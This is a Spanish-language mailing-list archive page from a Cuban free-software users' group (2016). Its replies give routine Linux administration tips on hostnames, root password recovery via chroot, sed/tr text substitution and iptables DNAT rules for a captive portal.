en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Cambiar nombre a la pc

2016-07-02 Por tema Hugo Florentino

On Mon, 16 Feb 2015 09:50:42 -0500, Alejandro wrote:

Edita el archivo: /etc/hostname



Puede que también necesites modificar /etc/hosts y si el equipo es un 
servidor, quizas /etc/mailname y revisar la configuración del DNS y 
otros servicios.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] root linux

2016-07-02 Por tema Hugo Florentino

On Fri, 1 Jul 2016 12:46:11 -0400, låzaro wrote:

butea otro linux en caliente
monta el disco duro de este
chroot /punto/de/montate
passwd




Así que "butea" no? jejeje

'tas acabando con Cervantes y Shakespeare a la vez ;)

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Duda con sed o perl

2016-07-02 Por tema Hugo Florentino
On Fri, 01 Jul 2016 10:42:00 -0400, Lic. Juan Miguel Perez Fauria 
wrote:

Hola lista tengo un listado enorme para subir a una bd mysql pero
logre hacer el listado y entre las columnas existe un tabulado y
necesito cambiarlo por un espacio normal como se haria con sed o con
perl es lo que no tengo ni idea aqui va un ejemplo

Tengo esto


(   2,  1,  '2','2015-07-01',   'X','XX',   
'XX',   'XX',   '', NULL,   NULL,   NULL,   NULL,   NULL,   
NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   
'baja', NULL,   'Administrador','2016-06-30
14:34:15'   NULL,   NULL),

(   3,  1,  '3','2015-07-07',   'XXX',  'XX',   
'XX',   'X','XX',   NULL,   NULL,   NULL,   NULL,   
NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   NULL,   
NULL,   'baja', NULL,   'Administrador','2016-06-30
14:34:15'   NULL,   NULL),


Y NECESITO QUE QUEDE ASI

(2, 1, '2', '2015-07-01', 'X', 'XX', 'XX', 'XX',
'', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, 'baja', NULL, 'Administrador',
'2016-06-30 14:34:15' NULL, NULL),
(3, 1, '3', '2015-07-07', 'XXX', 'XX', 'XX', 'X',
'XX', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, 'baja', NULL, 'Administrador',
'2016-06-30 14:34:15' NULL, NULL),

TIENEN ALGUNA IDEA



En sed yo haría algo como esto:

sed -ir 's/,\s*\t+\s*/, /g' elarchivo.sql

De esta forma cubro cualquier posibilidad de que haya más de un 
tabulador consecutivo, o un espacio al lado de un tabulador.



Ahora, para sustituciones de un solo caracter hay una variante más 
rápida usando tr, de modo que si no hay ningún tabulador en los propios 
campos, también podrías usar algo como esto:


cat elorigen.sql | tr '\t'  ' ' > eldestino.sql



--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] redireccionar peticiones hacia una web especifica(emular portal cautivo)

2016-06-29 Por tema Hugo Florentino

On Mon, 27 Jun 2016 15:26:17 -0400, Juan Pérez R wrote:

El 23/6/16, Carlos Cesar Caballero Díaz 
escribió:

Hola colega, por ak hay muchos mas experimentados que yo en estos
asuntos, pero como pie forzado, podría servir algo así montando 
iptables:


iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT 
--to-destination

localhost:80


eso mismo le había comentado a hugo en el foro pero me queda la duda
que eso trabaje como un bucle porque entiendo que esa regla
redireccionaría todo el trafico hacia la ip donde estaria alojada la
web (y que pasa con el trafico una vez que ya se haya accedido a la
web? se redireccionaria tambien ??)



Depende de lo que pretendas hacer.

Supongamos que el dns estará en el propio cortafuegos que es 
192.168.0.1, pero la web está en 192.168.1.50, y digamos que eth0 es la 
interfaz donde estan los clientes.

Algo como esto debería funcionarte.

iptables -t nat -A PREROUTING -i eth0 ! -d 192.168.0.1 -p udp -m udp 
--dport 53 -m conntrack --ctstate NEW -j DNAT --to-destination 
192.168.0.1:53
iptables -t nat -A PREROUTING -i eth0 ! -d 192.168.1.50 -p tcp -m 
multiport --dports 80,443 -m conntrack --ctstate NEW -j DNAT 
--to-destination 192.168.1.50


Aqui las reglas solo redireccionan lo que tenga un destino diferente, 
los paquetes con el destino correcto pasaría sin interferencia alguna 
del DNAT.



__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Mensajes duplicados en la lista

2016-06-28 Por tema Hugo Florentino

On Sat, 25 Jun 2016 05:45:54 -0500, Ernesto Acosta wrote:

Hola Lista. Me están llegando mensajes duplicados otriplicados, que
se yo. El punto es que hoy amanecí con 1918 mensajes nuevos que
estaban duplicados.. ¿A alguien más le pasa lo mismo?



A mi me han entrado algunos repetidos, pero ni por asomo tantos como a 
ti.
De hecho incluso con las repeticiones más bien me han entrado pocos 
mensajes de la lista, alrededor de 100 en varios días.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] se rpt la historia

2016-06-25 Por tema Hugo Florentino

On Thu, 23 Jun 2016 11:58:07 +0800, Raphael Burquet wrote:

hola peopla

la pag
http://gutl.jovenclub.cu/

no deja loguearme para postear, una vez lo arreglaron y ahora vuelve 
a

las mismas

saludos cordiales


Intenta entrando por el foro, es posible que tengas pendiente un cambio 
de clave programado.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l




Re: [Gutl-l] redireccionar peticiones hacia una web especifica(emular portal cautivo)

2016-06-24 Por tema Hugo Florentino

On Thu, 23 Jun 2016 12:06:26 -0400, Carlos Cesar Caballero Díaz wrote:

Hola colega, por ak hay muchos mas experimentados que yo en estos
asuntos, pero como pie forzado, podría servir algo así montando
iptables:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT
--to-destination localhost:80

Saludos.


Envié un mensaje que por algún motivo no ha llegado.
En el foro alguien preguntó esto mismo y puse algunos detalles para la 
posteridad, quizas otros deseen aportar y en su momento podría pasarse a 
la Wiki.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


  1   2   3   4   5   6   7   8   9   10   >